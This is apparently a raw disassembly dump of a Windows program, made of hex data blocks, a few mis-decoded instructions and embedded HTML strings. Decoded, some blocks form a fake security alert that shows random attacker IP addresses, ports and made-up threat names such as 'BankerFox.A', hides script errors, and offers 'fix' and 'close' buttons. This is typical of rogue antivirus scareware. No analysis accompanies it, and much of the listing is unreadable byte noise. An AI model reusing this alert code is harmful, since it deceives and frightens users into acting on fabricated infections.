dd 0BDDB5B0Eh, 0CDCA8DAFh, 5BE6FF47h, 2361C156h, 9F6C70BCh
dd 0FC71337Ah, 0BD7C76F4h, 6D4F23BBh, 1B47CA72h, 0B5CBA68Eh
dd 672C5C36h, 737C4264h, 0D32AAF1h, 199C969Dh, 0F2E9F45Bh
dd 0B9A52691h, 1C3CFC18h, 5B8A0656h, 375AECF5h, 0B6B1C4FDh
dd 0DAF50741h, 0A07D5F6Dh, 8B1702AFh, 618670B8h, 9DE077E5h
dd 741F2813h, 211E2414h, 89719CE2h, 0C7AE61F5h, 0B7ED7B3Eh
dd 0EF7BBEE7h, 7C3F07BFh, 0BF27C7F1h, 47CFF37Ch, 0D7F57D3Fh
dd 56179F27h, 801C59E0h, 87419DCFh, 0C14DE417h, 0F7FD7F3Fh
dd 0FF7FBFE7h, 6007FFh, 2403805h, 780D016h, 0FE026044h
dd 640B815h, 0E115501Ah, 3EACC950h, 0C0951C47h, 0C41782C3h
dd 0B8350660h, 0D0760E41h, 61041F83h, 42384508h, 84D09612h
dd 0A614427h, 7CC21855h, 0F01D1058h, 62832088h, 0D4741642h
dd 0C43786D0h, 0B8750E61h, 0D0F61E43h, 62043F87h, 44388510h
dd 88D11622h, 12624447h, 0F892B889h, 4F89D131h, 0A5146284h
dd 562A4538h, 0C4578AD1h, 0B8B51662h, 0D1762E45h, 63045F8Bh
dd 1088A918h, 8CD19631h
dd 1A634467h, 3646B8D5h, 6D8C91AEh, 0E51C6384h, 0D63A4738h
dd 0B46F8D51h, 0B8F51E63h, 0D1F63E47h, 63F4788Ch, 48390520h
dd 9011DA42h, 22644485h, 2C48B915h, 8F91921Eh, 5246484h
dd 9A3B48E9h, 0C49792C3h, 992D2664h, 0D2764E0Dh, 65049F93h
dd 4A394528h, 93F29652h, 26228496h, 564AB94Dh, 0AC95D2B6h
dd 29212544h, 5A4B4759h, 0C0F71D63h, 0B9752E65h, 0D2F65E4Bh
dd 6604BF97h, 0A9FE8530h, 6358764Bh, 0A548E61Ch, 4C31C725h
dd 99D33666h, 3165ECCFh, 59C83963h, 0D91CD1D2h, 9A3E47B8h
dd 584C8AF1h, 4DF9BC2h, 39C53867h, 0D396724Eh, 6734E79Ch
dd 0CD15E26h, 1B234881h, 3C86CCA9h, 538CD1E6h, 0F7106238h
dd 0F53E67C4h, 0F67E4FB9h, 4FF9FD3h, 711D3FE8h, 0C3DE760Ah
dd 2594C81Ah, 0D98FC00h, 14E3E476h, 4445F8A2h, 8A513A25h
dd 17A2D456h, 354668C5h, 8E88D1BAh, 60F914E2h, 689D4207h
dd 0A3CC718Eh, 0E790CD9Eh, 52BA543Ch, 0A5D4B696h, 4C69852Fh
dd 98D33A65h, 319A3CAh, 133BE905h, 0FC7347EAh, 0FD1019A3h
dd 41923105h, 0C310638Ch, 6A4547A8h, 54BA9552h, 0A9D536A6h
dd 516A454Fh, 66D1DA87h, 4CA443FCh, 0B3CC734h, 8C7C9671h
dd 55FABC3h, 3AC5586Bh, 0D596B256h, 2B3567ACh, 55510B57h
dd 0A153529Dh, 2BE9EC7Dh, 6A8C9A22h, 771E2354h, 0F55E6BC5h
dd 0BE57FEBAh, 7FAFD5F6h, 0D55F6C05h, 44648D51h, 4D5615F4h
dd 919B49A5h, 0D636B44Dh, 2C858FB1h, 0F71F359h, 0ADA3FE7Ah
dd 1F2B7C93h, 508F71CDh, 0F21FF504h, 45686D00h, 96D25A3Bh
dd 45A7B4D6h, 0FB556A6Dh, 22FC620Fh, 0EC4D9614h, 1021C624h
dd 0B6D6D6D5h, 69ADC5B7h, 498E32A9h, 70A776C0h, 762847CDh
dd 0B4E40C41h, 5D97B5F6h, 3B655649h, 83CCE40Fh, 2B75BEB7h
dd 0DC3B394Fh, 2D8AA4ABh, 71C5D8C4h, 498F7953h, 0AE2B43ACh
dd 7A3ACB62h, 563F5C8Bh, 0D9B8E73h, 917E2E05h, 0C3A8790Fh
dd 6F85EFBDh, 5F3BE57Ch, 0BDE002F7h, 7E6FA5F6h, 0F75FBBF5h
dd 0BF1F23CAh, 9F7685C0h, 5849D9B8h, 58F22A83h, 0BC158247h
dd 0D8370660h, 8460AC1h, 613C1F84h, 1D78570Ah, 3587FDFEh
dd 0F3485BC6h, 0B1BD11CAh, 0CC3C85F8h, 97120DF1h, 4627C4D8h
dd 0C4B8A71h, 98B06F80h, 315937C4h, 633C5442h, 0D8971AFEh
dd 85D8F21Ch, 44EC042Bh, 0B3F8166Ch, 63AC88EBh, 218E3001h
dd 37ABD913h, 2F643209h, 0FF0DE19Ch, 8FFB356h, 21762B85h
dd 79571AE2h, 0F16E2EC6h, 656CB38Ah, 0C6F89F2Eh, 1331DE39h
dd 79555C7Bh, 671AC38Ch, 0D59A7346h, 0A33666BCh, 78D60019h
dd 7CE59C33h, 0D9B738E6h, 0F34E77CEh, 0D3E1E438h, 0AE174726h
dd 2E05759Ch, 6D0DF1D8h, 87D0DA14h, 15A27446h, 1800687Dh
dd 6E8527FAh, 3D25A2F4h, 837F43E9h, 4548B81Dh, 0E6325798h
dd 0CCC3B07Fh, 9B350678h, 5266FCE3h, 0A7D439BBh, 0D838F35Eh
dd 62E867C1h, 48A1BA56h, 0F1E22C45h, 0DAD6BA8Dh, 75C6B7D6h
dd 800D6FAEh, 0D71AF35Ah, 0B075D6BEh, 6FD75D85h, 991623C4h
dd 0FFA6F56Eh, 74680931h, 80D01ADAh, 3DA5B476h, 3B576A6Dh
dd 368000DAh, 6D7DB5B6h, 0DBDB776Bh, 0AAC6B6D4h, 5767D1A1h
dd 0A41439FFh, 87AD0588h, 0FE60EEBDh, 0B6DDDB03h, 0E5BB3606h
dd 0C46F8D5Dh, 0E9A1482h, 5D963647h, 0A34071D5h, 7806FF18h
dd 703E05C0h, 1C0382h, 0C1F83F06h, 82F0ADFFh, 1E1DC37h
dd 5838C687h, 763EDE4Dh, 5E88E38h, 0BDE7BA45h, 0FBC6BAF1h
dd 8471D26h, 6F5DE7C7h, 0A7BBE050h, 3437E093h, 9672B194h
dd 2FE5DCB7h, 1CB3987h, 2B99F2D0h, 0C73126E3h, 1E61CE79h
dd 355F5671h, 23871690h, 722E35C6h, 0E8BD17A2h, 0C94570DFh
dd 7DE03B11h, 3A19B65Bh, 0A5D47A87h, 379D753Eh, 0E8CDDF43h
dd 9BCBCFADh, 239A3DD9h, 500AF1Fh, 8C116A27h, 0ECC34464h
dd 0DA7B4767h, 0B676BED5h, 6FEDDDB7h, 82327B67h, 804E0B51h
dd 0EF5AB0E2h, 0C18A29E9h, 0DDF7BE0Eh, 7C077FEFh, 783F05E0h
dd 0F0DE17C2h, 29C62F7Eh, 27E7EE96h, 9C12A337h, 77A044E0h
dd 57CA7931h, 0C797F2DEh, 0BF35E67Ch, 1E67CE79h, 7C80AE17h
dd 0F5AAAA25h, 22FE17ABh, 7D45B9DCh, 0DA2F55EAh, 0D935AE62h
dd 4369E75Bh, 0B089514Fh, 0B7141DD7h, 75EE7DC7h, 0F7DE7BBFh
dd 7BFF7DEh, 0F21EF3Eh, 347C4A8Ah, 0F55CA9A4h, 0EAA10A29h
dd 0F9DF37D5h, 2174F5A8h, 8A0ECF14h, 6DE811F3h, 0B2358734h
dd 0A26ECDB9h, 7DFFBD3h, 0A9C3F87Fh, 141E82CEh, 69F0F79Eh
dd 8851073Dh, 9FD40442h, 0FC7F87ECh, 0F6FF3FE5h, 0F8FEDFBBh
dd 0E562E81Ch, 57AD0D91h, 0DC7AEB9Ch, 26CA5BA4h, 0AE25EAAEh
dd 32604032h, 0C05404C0h, 6C06405h, 0BAC9C074h, 3FE07587h
dd 92A6BBBCh, 0A25CA952h, 268298A9h, 0DC05404h, 987187BCh
dd 0BFFB0E40h, 4EA4BA3Ch, 4257C12Ah, 0C1524D41h, 16C16415h
dd 7264A4CCh, 24D418C1h, 5741A414h, 941124D2h, 0C1D41CA4h
dd 0EBA39C1Dh, 41FC1E3h, 228C20C2h, 22C2141Fh, 241CC234h
dd 0C25423C2h, 2641C425h, 7C27C274h, 0C28424A4h, 3642A429h
dd 2AC22792h, 42CC2C4h, 0C2E09FA3h, 2FC2F42Eh, 1430C304h
dd 0C32431C3h, 33C33432h, 5434C344h, 0C36435C3h, 80C35436h
dd 3B0000h, 0
; ---------------------------------------------------------------------------
inc edi
dec ecx
inc esi
cmp [ecx], bh
popa
mov bh, 1
jo short $+2
retn 0
; ---------------------------------------------------------------------------
align 10h
dd 80FF0000h, 0C0C08080h, 0E1FFFFC0h, 0FFFFFFh, 0
dd 4F92100h, 7000A01h, 2C00h, 1B70000h, 3000070h, 0DCBA78FEh
dd 49CA30FEh, 0EB38BDABh, 60E825CDh, 69648E28h, 0AEAA689Eh
dd 9F019B6Ch, 6D74CF2Bh, 0A7AE78DFh, 0C0FFBC70h, 2C4870A0h
dd 9F0460CAh, 3A6CC971h, 8015D09Fh, 0AF465490h, 0B76ACD8h
dd 0DCAD5244h, 2E4C78B0h, 0AAD4A64Fh, 0BB6ECD79h, 0F834DE99h
dd 0EFDBAF4Dh, 8D5A7423h, 80FFFBEFh, 737B710Bh, 88878681h
dd 497B7A59h, 908F8E89h, 85848346h, 98979691h, 8D8C8B27h
dd 0A09F9E99h, 308C931Bh, 0A8A7A6A1h, 959C9C82h, 81AFAEA9h
dd 0B0ADACA3h, 9B6EB6B5h, 0BCB75FABh, 0BAB9B8BDh, 0C4C3BEA5h
dd 9DBAC05Bh, 0CC3D8EC5h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h
dd 0DCDBDAD9h, 0E0DCABC8h, 0E4E3E2E1h, 10DAE6E5h, 0ECEBDE3Dh
dd 0F0EFEEEDh, 0F4F3F2F1h, 0F8F7F6F5h, 0FCFBFAF9h, 0C2DFFEFDh
dd 47FB1D04h, 83C1A0B0h, 5C2A1308h, 0BEE1B0C8h, 4A1CB280h
dd 0A2B1489Ch, 33188BC5h, 0FE3613B2h, 8FC7A350h, 1C8A4320h
dd 4443F179h, 0AA532892h, 0A5B2C95Ch, 633096BAh, 33499CCAh
dd 389AC9E1h, 39DCEA73h, 9FCF26F3h, 750A8340h, 808F73E8h
dd 0C0548A3h, 0A9B4CA5Dh, 0D31D5253h, 0B5402D1Ch, 4FA2816Ah
dd 1ADD6AB3h, 0AB00A8B2h, 1D56C201h, 0D9AB9510h, 7A1768B3h
dd 6C402AB5h, 0D34A0055h, 974B9DCAh, 56AFCFA0h, 5B2552F3h
dd 0BFDFAFB7h, 0DB2EEF1h, 5C2F201Bh, 2B1388C0h, 0B0B83C16h
dd 238AC3D5h, 0B8CB964Bh, 6FC75B6Ah, 0CCDE4EE3h, 1DDE9D9h
dd 0D592AD8Dh, 0E9B4B9DCh, 12A96B9Dh, 0B4FA3B76h, 0B134D7EBh
dd 77AD0002h, 0B8D86934h, 5AC48B73h, 0B2017685h, 1EEB6F70h
dd 0EF22DC4Eh, 1EAFB32Fh, 39BCCE2Dh, 9472E3C5h, 0DD4E9F3Bh
dd 0C2805966h, 6EDF6BABh, 0ECD1BA0Fh, 0DF8BC3DCh, 0F9BC7D78h
dd 0A3BCF3F3h, 567ECF5Fh, 0DDF0F7FBh, 3F4F8FA9h, 0F8FAFCFCh
dd 0CFCFDFA9h, 0FEFEF8BFh, 0F6E200FEh, 9A04805Fh, 534A6036h
dd 651E5544h, 0E0B26D43h, 54FE0F41h, 95133314h, 0EB825035h
dd 86924844h, 7A3F5F2h, 93B48487h, 3E21860Bh, 0D747C727h
dd 86494881h, 4985D2Ah, 0E5D9A88Bh, 560E4661h, 2A4CA1F4h
dd 5420A1CAh, 0C688DC5Eh, 0F901C88Fh, 0BE0949E3h, 43914554h
dd 8EA4190Ah, 6144BC93h, 0F91E2F89h, 322489C5h, 3D94A4B9h
dd 9665493Ah, 0E492524Ah, 0E95E4687h, 8C711224h, 653AA189h
dd 9208B9A6h, 0E4994E40h, 89BE4F8Bh, 8E41998Ch, 46962748h
dd 89E6B96Ah, 0A7094652h, 592A479Fh, 0BE779CA5h, 548F6133h
dd 8D651A26h, 8DF94E88h, 9A02559Fh, 4290A0E8h, 7F9F2949h
dd 2925B9BAh, 0E9AA2E96h, 4A5699A7h, 298A8A4h, 94A3A3EAh
dd 0AAA9EA9Eh, 667AB29Ch, 0F8DEA788h, 3AB2A3E8h, 0A1A5E92Ah
dd 0A829C916h, 66E8D6A9h, 6A56B797h, 5E0B88ABh, 5FABE24Ah
dd 24FAFE42h, 1AD6A22Bh, 8CD9FE8h, 9FAE2B6Bh, 0A9A92ABAh
dd 2A9B028Ah, 0D4026493h, 4E2BAF2Dh, 149C29EBh, 0B9642AAAh
dd 6C7B0A23h, 0BB428A15h, 4ADCAEECh, 989A2EABh, 0B66919B2h
dd 2A4BDEEDh, 1B7ECAAAh, 19C783E8h, 0F9B42ABBh, 0BFAD246Eh
dd 0AC3B06B1h, 0CB8AB0B5h, 82E6A96Ah, 0EA970CBh, 0BED50C17h
dd 0B03C56C0h, 8BAF167Bh, 0CEA1AE5Ch, 0D6B3A9D9h, 302F7AD6h
dd 2E9C831Eh, 1C4E99B8h, 7707B158h, 0ADBAAFBAh, 0ABF31C42h
dd 0AD7C6B2Ch, 5CDB33C9h, 8716C4ADh, 5B533ACh, 0CFEDB9B7h
dd 0F3CCDB20h, 0CD32AC2h, 27BCCE5h, 0E2B5F43Dh, 0BD723D4Ah
dd 9F2D2F58h, 5D466682h, 966BB3F5h, 60AFF359h, 9AB2D9D6h
dd 0B3BA360Eh, 0CCA2F197h, 0A2E4BF25h, 6E9F71FDh, 95B66C23h
dd 279DC262h, 0DDBF46CEh, 9248D7F0h, 62B3B7DDh, 0B3EC3BD2h
dd 774DDB88h, 6D9B6C30h, 8F24DAA7h, 11A1A579h, 10FCAEFEh
dd 93D2394Bh, 0FA3380B9h, 0F8E6F993h, 3E796778h, 1445ABA0h
dd 0E9F7A57Bh, 0D7A93DF9h, 0B0816073h, 0EC7AF64Bh, 0FB3603B4h
dd 4B33ADADh, 2A26495Eh, 0A1C53B94h, 8E512B13h, 0BA94BB5Eh
dd 0FCA39BD7h, 33AEF034h, 0F0EFCDEFh, 0F4ACCF40h, 0FCBEB338h
dd 0AF39DDE1h, 0B7D77A7Bh, 9DF77C78h, 0E6B97F3Fh, 0FFE9A36h
dd 48C3E4E1h, 162A3CBAh, 5C85B98Fh, 0BD083982h, 256D76CBh
dd 0A9DEB0A1h, 1B789E27h, 7BA5BF6Eh, 8C92DF93h, 0A964B796h
dd 638F166Eh, 87270157h, 0EFC9B3C0h, 0DBF24D4Ch, 0A6C4C2B1h
dd 4C8A09C2h, 592C402h, 0C43FF7DDh, 774D4DE9h, 5CCC0E7Bh
dd 51A6B2E6h, 6B47522Ch, 66C6DE96h, 0D7D6C42h, 96D42E54h
dd 2B361F02h, 5269B585h, 0E41A7B54h, 0FCBA3548h, 3E8530BDh
dd 4AB06022h, 55A3586h, 0D34565ADh, 63C8759Eh, 0CC759237h
dd 0D64B2170h, 0B026269Eh, 0FE114145h, 22B33288h, 43847506h
dd 79EAFE2Ch, 1498F2E8h, 7ABE25C9h, 0F0870B95h, 0AD115C72h
dd 61C1B0C6h, 0CC6A6B51h, 45FF0299h, 0C431F447h, 1A644427h
dd 0C2967B1Bh, 8F71B616h, 199ACC24h, 0A82C88B9h, 0BA86B20Dh
dd 8EA0E193h, 55783C81h, 0C34967CFh, 0F69D1516h, 3235A0C6h
dd 9C3C3790h, 0A3B2D51Dh, 90120A3Dh, 21A28B7Fh, 24C8A659h
dd 7A9471EAh, 0F924D594h, 21B2BE4h, 0BCAD6A2Dh, 68751A19h
dd 0AAE250C9h, 0D9CC958Ah, 4A588F25h, 7E051239h, 1B577B8Ah
dd 38C038AFh, 2B716D5Ah, 6F04DC4Ch, 0A1FAABE8h, 53076FC9h
dd 0C6C4D81Bh, 8AA244A3h, 604BAA7Eh, 0C5681ED8h, 4BCD826Ah
dd 32176C53h, 6FC065C7h, 0E06E0969h, 0B6FCD79Ch, 0D77C194h
dd 0C97F7A4Fh, 67CC71A4h, 8D1E1A0h, 0E1CCF19Eh, 1AE77CE9h
dd 24B1967Ch, 409DACFEh, 81BB72B5h, 52CF41Ah, 3A305EC5h
dd 49D2FA2h, 5DFE7C14h, 371A5F51h, 46894FA4h, 151678CFh
dd 0F4594691h, 928635D0h, 59134458h, 0C9D256F0h, 7AD22217h
dd 45E71519h, 143DB7B9h, 1B50D495h, 15475F15h, 6E8DD2DAh
dd 6BE9A6B2h, 4A6F4491h, 0E311953h, 0A93D4044h, 2DD8F046h
dd 77106939h, 11605D46h, 0C6B049CFh, 107AA9E1h, 0E72B290Ch
dd 2DC0C117h, 74678433h, 0B7F551A2h, 306DFE45h, 20A4D95Eh
dd 40784106h, 9D90EE55h, 521FD402h, 0B4414AB1h, 33AB9582h
dd 46FAA305h, 9854281h, 94BB66ADh, 0DAF28B98h, 2AED7954h
dd 21DC9096h, 33A72311h, 972D218Ch, 0A322CC7Eh, 63C5E7B6h
dd 89A1AF2Ah, 752464FDh, 0A6B9D009h, 0A58C6C33h, 96C7565Ah
dd 95D51E47h, 2C83195Fh, 0AE16E73Ah, 68528198h, 122CFC0Fh
dd 432F6B57h, 5589CB46h, 0A6F4E33Bh, 15C8B456h, 74A8B3D5h
dd 0E61154EDh, 0B65A77CEh, 295327B0h, 0CA6B390Fh, 63752DABh
dd 26B4FE30h, 0B5A456C7h, 9357065Ch, 0C652EDC6h, 59459B74h
dd 93691726h, 452DE5BDh, 75A9C9E9h, 0FBBBAE36h, 6960CF27h
dd 0AE59ABDCh, 2D3592B3h, 4F27AF6Ah, 0B4F76DE6h, 0BE2E036Bh
dd 0C8DD4B58h, 8A67AE02h, 0B6B51795h, 0D6C6DAABh, 5E0B1B7h
dd 0F9B6EEC8h, 742ADB26h, 600C69B3h, 2594E343h, 935352D3h
dd 5860660Dh, 0D956754Dh, 6A7277C6h, 62E0D8DDh, 677285Bh
dd 96097253h, 0F6CB6D5Bh, 0B87DB4CDh, 1BBC15AAh, 0A15C2583h
dd 0A874A300h, 42225514h, 171A8425h, 3623CF67h, 6C9350CEh
dd 0E6876347h, 8E40A0F8h, 4C838FCDh, 0F9168C64h, 2F0BC929h
dd 0D3C4067Dh, 3CAEB4A6h, 48A94E49h, 9C38CCA5h, 24BC5666h
dd 0EB930A5Dh, 210EE4F2h, 130077E4h, 3CA795EAh, 53032E64h
dd 2B1CE6C5h, 0D4A9C933h, 8B4E2530h, 57B3836Dh, 154D0ACBh
dd 63C3B9CBh
dd 0CF32A6F5h, 22B14205h, 6416AA0Ah, 98331FEh, 0D20F5555h
dd 6BFBCDC9h, 79CBA1DCh, 0BA12AEE7h, 611BACCCh, 4F2BA971h
dd 5377E95Dh, 1174DAEh, 4C43F795h, 2C7DD24Fh, 0CEC3EC5Ch
dd 0BEBF433Bh, 0CE0BA4D7h, 4855096Fh, 3AB2C3CBh, 2BF57D62h
dd 44D50E4Ch, 504CD34Ch, 5B645C5Ah, 0FF6A3B29h, 8191D17Dh
dd 0BB1D6EB5h, 631E167h, 0E47F7811h, 66656A66h, 0ACDE0F61h
dd 1D1D99D8h, 66CC01ACh, 0C851D34Bh, 0C0A2A596h, 0F2DFED70h
dd 24BE777Eh, 4B64AFBEh, 6B6FEA08h, 0A6DBC2F7h, 0B96BB46Dh
dd 0FBA2E7C6h, 0AFB586C2h, 51559518h, 0B7399323h, 245A76A7h
dd 576DFAF9h, 0FC94FB07h, 7A92F4Dh, 8B75B4ABh, 56DEDF7Bh
dd 4A43B0AFh, 0F7D21743h, 65B5A0D3h, 4C04374Fh, 84354563h
dd 53B6570Eh, 6FB78CEDh, 745579C6h, 3B9BEA4Dh, 0BF104D0Eh
dd 0ABD7ED5h, 0BF5C8F7h, 79EF3762h, 97671848h, 68593359h
dd 0B4104ACDh, 6EE6454Ch, 0EF583305h, 87B3E0DDh, 5C50E0FAh
dd 0DD3DFC87h, 6E7DA40h, 28FAFA01h, 0BB1B5E07h, 39B9C6FCh
dd 7EA4577Ah, 0D4BBAAE4h, 278F58EAh, 0F5CEB3D5h, 0EBFD7716h
dd 0D83A7968h, 52942EC7h, 68EC9D6Ch, 120290F7h, 1BB6F69Ah
dd 776C07C7h, 68EFDCBBh, 0FDCFB105h, 41E920EEh, 0F7C1CE3Ah
dd 0EFFDFBBEh, 0E0BC0F80h, 0C2F84F07h, 0D1CBE1Bh, 3B000048h
dd 6D74683Ch, 0A0D3E6Ch, 6165683Ch, 0A0D3E64h, 7263733Ch
dd 20747069h, 3D637273h, 2F534A22h, 6C6D7448h, 746E6F43h
dd 2E6C6F72h, 3E22736Ah, 63732F3Ch, 74706972h, 3C0A0D3Eh
dd 69726373h, 74207470h, 3D657079h, 78657422h, 616A2F74h
dd 63736176h, 74706972h, 0A0D3E22h, 65747865h, 6C616E72h
dd 6F68532Eh, 72272877h, 74686769h, 74746F62h, 2C276D6Fh
dd 35383220h, 3832202Ch, 203B2930h, 0D202020h, 636F640Ah
dd 6E656D75h, 6E6F2E74h, 656C6573h, 74737463h, 20747261h
dd 200A0D3Dh, 66202020h, 74636E75h, 206E6F69h, 7B202928h
dd 74657220h, 206E7275h, 736C6166h, 7D203B65h, 660A0D3Bh
dd 74636E75h, 206E6F69h, 72456F6Eh, 28726F72h, 65727B29h
dd 6E727574h, 75727420h, 0D7D3B65h, 6E69770Ah, 2E776F64h
dd 72656E6Fh, 20726F72h, 6F6E203Dh, 6F727245h, 0A0D3B72h
dd 20202020h, 75660A0Dh, 6974636Eh, 73206E6Fh, 6E497465h
dd 29286F66h, 0D7B0A0Dh, 616E090Ah, 2073656Dh, 275B203Dh
dd 336E6957h, 754E2F32h, 2E6C6571h, 202C2745h, 6E614227h
dd 4672656Bh, 412E786Fh, 27202C27h, 336E6957h, 72472E32h
dd 2E736D61h, 3B5D2749h, 69090A0Dh, 3D203170h, 72617020h
dd 6E496573h, 37312874h, 614D2A30h, 722E6874h, 6F646E61h
dd 2929286Dh, 3B30382Bh, 69090A0Dh, 3D203270h, 72617020h
dd 6E496573h, 35322874h, 614D2A35h, 722E6874h, 6F646E61h
dd 2929286Dh, 90A0D3Bh, 20337069h, 6170203Dh, 49657372h
dd 3228746Eh, 4D2A3535h, 2E687461h, 646E6172h, 29286D6Fh
dd 0A0D3B29h, 34706909h, 70203D20h, 65737261h, 28746E49h
dd 2A353532h, 6874614Dh, 6E61722Eh, 286D6F64h, 0D3B2929h
dd 0A0D090Ah, 636F6409h, 6E656D75h, 65672E74h, 656C4574h
dd 746E656Dh, 64497942h, 70692728h, 692E2927h, 72656E6Eh
dd 4C4D5448h, 69203D20h, 272B3170h, 692B272Eh, 272B3270h
dd 692B272Eh, 272B3370h, 692B272Eh, 203B3470h, 64090A0Dh
dd 6D75636Fh, 2E746E65h, 45746567h, 656D656Ch, 7942746Eh
dd 27286449h, 726F7073h, 2E292774h, 656E6E69h, 4D544872h
dd 203D204Ch, 73726170h, 746E4965h, 35353628h, 4D2A3533h
dd 2E687461h, 646E6172h, 29286D6Fh, 0D203B29h, 6F64090Ah
dd 656D7563h, 672E746Eh, 6C457465h, 6E656D65h, 49794274h
dd 64272864h, 74726F70h, 692E2927h, 72656E6Eh, 4C4D5448h
dd 70203D20h, 65737261h, 28746E49h, 33353536h, 614D2A35h
dd 722E6874h, 6F646E61h, 2929286Dh, 90A0D3Bh, 75636F64h
dd 746E656Dh, 7465672Eh, 6D656C45h, 42746E65h, 28644979h
dd 72687427h, 27746165h, 6E692E29h, 4872656Eh, 204C4D54h
dd 616E203Dh, 5B73656Dh, 73726170h, 746E4965h, 616E2828h
dd 2E73656Dh, 676E656Ch, 312D6874h, 614D2A29h, 722E6874h
dd 6F646E61h, 2929286Dh, 0A0D3B5Dh, 3C0A0D7Dh, 7263732Fh
dd 3E747069h, 2F3C0A0Dh, 64616568h, 3C0A0D3Eh, 79646F62h
dd 79747320h, 223D656Ch, 7265766Fh, 776F6C66h, 6469683Ah
dd 3B6E6564h, 6772616Dh, 303A6E69h, 6461703Bh, 676E6964h
dd 623B303Ah, 676B6361h, 6E756F72h, 72753A64h, 6E27286Ch
dd 6C617465h, 2E747265h, 27666967h, 6F6E2029h, 7065722Dh
dd 3B746165h, 0A0D3E22h, 7669643Ch, 79747320h, 223D656Ch
dd 69736F70h, 6E6F6974h, 7362613Ah, 74756C6Fh, 6F743B65h
dd 35313A70h, 3B787035h, 7466656Ch, 7039313Ah, 69773B78h
dd 3A687464h, 70303532h, 65683B78h, 74686769h, 7030353Ah
dd 6F663B78h, 732D746Eh, 3A657A69h, 78703131h, 6E6F663Bh
dd 61662D74h, 796C696Dh, 7265563Ah, 616E6164h, 6E61732Ch
dd 65732D73h, 3B666972h, 656E696Ch, 6965682Dh, 3A746867h
dd 3B342E31h, 74413E22h, 6B636174h, 6F726620h, 3C203A6Dh
dd 6E617073h, 3D646920h, 27706927h, 732F3C3Eh, 3E6E6170h
dd 6F70202Ch, 3C207472h, 6E617073h, 3D646920h, 6F707327h
dd 3E277472h, 70732F3Ch, 3C3E6E61h, 3E2F7262h, 61747441h
dd 64656B63h, 726F7020h, 3C203A74h, 6E617073h, 3D646920h
dd 6F706427h, 3E277472h, 70732F3Ch, 3C3E6E61h, 3E2F7262h
dd 65726854h, 203A7461h, 6170733Ch, 6469206Eh, 6874273Dh
dd 74616572h, 2F3C3E27h, 6E617073h, 642F3C3Eh, 0D3E7669h
dd 69643C0Ah, 74732076h, 3D656C79h, 72756322h, 3A726F73h
dd 646E6168h, 736F703Bh, 6F697469h, 62613A6Eh, 756C6F73h
dd 743B6574h, 323A706Fh, 78703035h, 66656C3Bh, 38343A74h
dd 773B7870h, 68746469h, 7038383Ah, 65683B78h, 74686769h
dd 7031323Ah, 20223B78h, 6C636E6Fh, 3D6B6369h, 74786522h
dd 616E7265h, 73662E6Ch, 74754274h, 436E6F74h, 6B63696Ch
dd 223B2928h, 642F3C3Eh, 0D3E7669h, 69643C0Ah, 74732076h
dd 3D656C79h, 72756322h, 3A726F73h, 646E6168h, 736F703Bh
dd 6F697469h, 62613A6Eh, 756C6F73h, 743B6574h, 323A706Fh
dd 78703035h, 66656C3Bh, 34313A74h, 3B787035h, 74646977h
dd 38383A68h, 683B7870h, 68676965h, 31323A74h, 223B7870h
dd 636E6F20h, 6B63696Ch, 7865223Dh, 6E726574h, 432E6C61h
dd 65736F6Ch, 3E222928h, 69642F3Ch, 0A0D3E76h, 6F622F3Ch
dd 0D3E7964h, 682F3C0Ah, 3E6C6D74h, 0A0Dh, 0
aHtmlHeadScript db '<html>',0Dh,0Ah
db '<head>',0Dh,0Ah
db '<script src="JS/HtmlControl.js"></script>',0Dh,0Ah
db '<script type="text/javascript">',0Dh,0Ah
db 'external.Show(',27h,'center',27h,', 541, 376);',0Dh,0Ah
db 'document.onselectstart =',0Dh,0Ah
db ' function () { return false; };',0Dh,0Ah
db 'function noError(){return true;}',0Dh,0Ah
db 'window.onerror = noError;',0Dh,0Ah
db ' ',0Dh,0Ah
db '</script>',0Dh,0Ah
db '</head>',0Dh,0Ah
db '<body style="overflow:hidden;margin:0;padding:0;background:url(',27h
db 'bigalert.gif',27h,') no-repeat;">',0Dh,0Ah
db '<div onclick="document.getElementById(',27h,'minihelp',27h,').style.dis'
db 'play=',27h,'block',27h,';" onmouseout="document.getElementById(',27h,'mini'
db 'help',27h,').style.display=',27h,'none',27h,';" style="cursor:hand;positio'
db 'n:absolute;top:220px;left:48px;width:192px;height:19px;"></div>',0Dh
db 0Ah
db '<div style="cursor:hand;position:absolute;top:335px;left:77px;wid'
db 'th:198px;height:21px;" onclick="external.fstButtonClick();"></div'
db '>',0Dh,0Ah
db '<div style="cursor:hand;position:absolute;top:335px;left:285px;wi'
db 'dth:198px;height:21px;" onclick="external.Close();"></div>',0Dh,0Ah
db '<div id="minihelp" style="display:none;background: url(',27h,'smalla'
db 'lert.gif',27h,') no-repeat;position:absolute;top:235px;left:10px;wid'
db 'th:439px;height:112px;"></div>',0Dh,0Ah
db '</body>',0Dh,0Ah
db '</html>',0
align 10h
aHtmlHeadStyleT db '<html>',0Dh,0Ah
db '<head>',0Dh,0Ah
db '<style type="text/css">',0Dh,0Ah
db '<!--',0Dh,0Ah
db 'body {',0Dh,0Ah
db ' overflow:hidden; ',0Dh,0Ah
db ' margin:0;',0Dh,0Ah
db ' padding:0;',0Dh,0Ah
db ' cursor:default;',0Dh,0Ah
db '}',0Dh,0Ah
db '#headerBlock {width:940px;height:108px;background:url(header-bg.g'
db 'if) no-repeat center top;}',0Dh,0Ah
db '.logoBlock {',0Dh,0Ah
db ' width:50%;',0Dh,0Ah
db ' height:80px;',0Dh,0Ah
db ' padding-top:20px;',0Dh,0Ah
db ' background:url(logo-icon.gif) no-repeat 15px 22px;',0Dh,0Ah
db ' vertical-align:middle;',0Dh,0Ah
db '}',0Dh,0Ah
db '.logoBlock .logo, .logoSlogan {',0Dh,0Ah
db ' padding:0 0 0 70px; ',0Dh,0Ah
db '}',0Dh,0Ah
db '.logo {',0Dh,0Ah
db ' font-size:24px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
db ' color:#fff; ',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.logoYear {',0Dh,0Ah
db ' font-size:24px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
db ' color:#e6ecb5;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.logoSlogan {',0Dh,0Ah
db ' font-size:12px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-style:italic;',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
